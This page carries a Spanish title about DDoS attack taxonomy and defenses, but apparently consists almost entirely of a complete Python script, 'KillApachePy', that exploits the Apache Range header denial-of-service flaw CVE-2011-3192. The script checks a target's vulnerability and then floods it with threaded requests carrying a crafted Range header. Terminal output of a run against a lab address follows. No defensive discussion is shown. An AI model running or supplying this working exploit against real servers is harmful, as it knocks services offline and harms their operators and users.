Taxonomía de ataques DDoS y mecanismos de defensa DDoS

  1#!/usr/bin/env python
  2
  3import optparse, os, re, socket, threading, time, urllib, urllib2, urlparse
  4
  5NAME        = "KillApachePy (Range Header DoS CVE-2011-3192)"
  6VERSION     = "0.1c"
  7AUTHOR      = "Miroslav Stampar (@stamparm)"
  8LICENSE     = "Public domain (FREE)"
  9SHORT       = "You'll typically have to wait for 10-20 iterations before first connection timeouts. More complex/bigger the page the better"
 10REFERENCE   = "http://seclists.org/fulldisclosure/2011/Aug/175"
 11
 12SLEEP_TIME      = 3     # time to wait for new thread slots (after max number reached)
 13RANGE_NUMBER    = 1024  # number of range subitems forming the DoS payload
 14USER_AGENT      = "KillApachePy (%s)" % VERSION
 15
 16def attack(url, user_agent=None, method='GET', proxy=None):
 17    if '://' not in url:
 18        url = "http://%s" % url
 19
 20    host = urlparse.urlparse(url).netloc
 21
 22    user_agent = user_agent or USER_AGENT
 23
 24    if proxy and not re.match('\Ahttp(s)?://[^:]+:[0-9]+(/)?\Z', proxy, re.I):
 25        print "(x) Invalid proxy address used"
 26        exit(-1)
 27
 28    proxy_support = urllib2.ProxyHandler({'http': proxy} if proxy else {})
 29    opener = urllib2.build_opener(proxy_support)
 30    urllib2.install_opener(opener)
 31
 32    class _MethodRequest(urllib2.Request):
 33        '''
 34        Create any HTTP (e.g. HEAD/PUT/DELETE) request type with urllib2
 35        '''
 36        def set_method(self, method):
 37            self.method = method.upper()
 38
 39        def get_method(self):
 40            return getattr(self, 'method', urllib2.Request.get_method(self))
 41
 42    def _send(check=False):
 43        '''
 44        Send the vulnerable request to the target
 45        '''
 46        if check:
 47            print "(i) Checking target for vulnerability..."
 48        payload = "bytes=0-,%s" % ",".join("5-%d" % item for item in xrange(1, RANGE_NUMBER))
 49        try:
 50            headers = { 'Host': host, 'User-Agent': USER_AGENT, 'Range': payload, 'Accept-Encoding': 'gzip, deflate' }
 51            req = _MethodRequest(url, None, headers)
 52            req.set_method(method)
 53            response = urllib2.urlopen(req)
 54            if check:
 55                return response and ('byteranges' in repr(response.headers.headers) or response.code == 206)
 56        except urllib2.URLError, msg:
 57            if 'timed out' in str(msg):
 58                print "\r(i) Server seems to be choked ('%s')" % msg
 59            else:
 60                print "(x) Connection error ('%s')" % msg
 61                if check or 'Forbidden' in str(msg):
 62                    os._exit(-1)
 63        except Exception, msg:
 64            raise
 65
 66    try:
 67        if not _send(check=True):
 68            print "(x) Target does not seem to be vulnerable"
 69        else:
 70            print "(o) Target seems to be vulnerable\n"
 71            quit = False
 72            while not quit:
 73                threads = []
 74                print "(i) Creating new threads..."
 75                try:
 76                    while True:
 77                        thread = threading.Thread(target=_send)
 78                        thread.start()
 79                        threads.append(thread)
 80                except KeyboardInterrupt:
 81                    quit = True
 82                    raise
 83                except Exception, msg:
 84                    if 'new thread' in str(msg):
 85                        print "(i) Maximum number of new threads created (%d)" % len(threads)
 86                    else:
 87                        print "(x) Exception occured ('%s')" % msg
 88                finally:
 89                    if not quit:
 90                        print "(o) Waiting for %d seconds to acquire new threads" % SLEEP_TIME
 91                        time.sleep(SLEEP_TIME)
 92                        print
 93    except KeyboardInterrupt:
 94        print "\r(x) Ctrl-C was pressed"
 95        os._exit(1)
 96
 97def main():
 98    print "%s #v%s\n by: %s\n\n(Note(s): %s)\n" % (NAME, VERSION, AUTHOR, SHORT)
 99    parser = optparse.OptionParser(version=VERSION)
100    parser.add_option("-u", dest="url", help="Target url (e.g. \"http://www.target.com/index.php\")")
101    parser.add_option("--agent", dest="agent", help="User agent (e.g. \"Mozilla/5.0 (Linux)\")")
102    parser.add_option("--method", dest="method", default='GET', help="HTTP method used (default: GET)")
103    parser.add_option("--proxy", dest="proxy", help="Proxy (e.g. \"http://127.0.0.1:8118\")")
104    options, _ = parser.parse_args()
105    if options.url:
106        result = attack(options.url, options.agent, options.method, options.proxy)
107    else:
108        parser.print_help()
109
110if __name__ == "__main__":
111    main()

 1root@lab:~# python Apachekiller.py -u 192.168.100.58 --proxy="http://127.0.0.1:8080"
 2KillApachePy (Range Header DoS CVE-2011-3192) #v0.1c
 3by: Miroslav Stampar (@stamparm)
 4
 5(Note(s) You'll typically have to wait for 10-20 iterations before first
 6connection timeouts. More complex/bigger the page the better)
 7
 8(i) Checking target for vulnerability...
 9(o) Target seems to be vulnerable
10(1) Creating new threads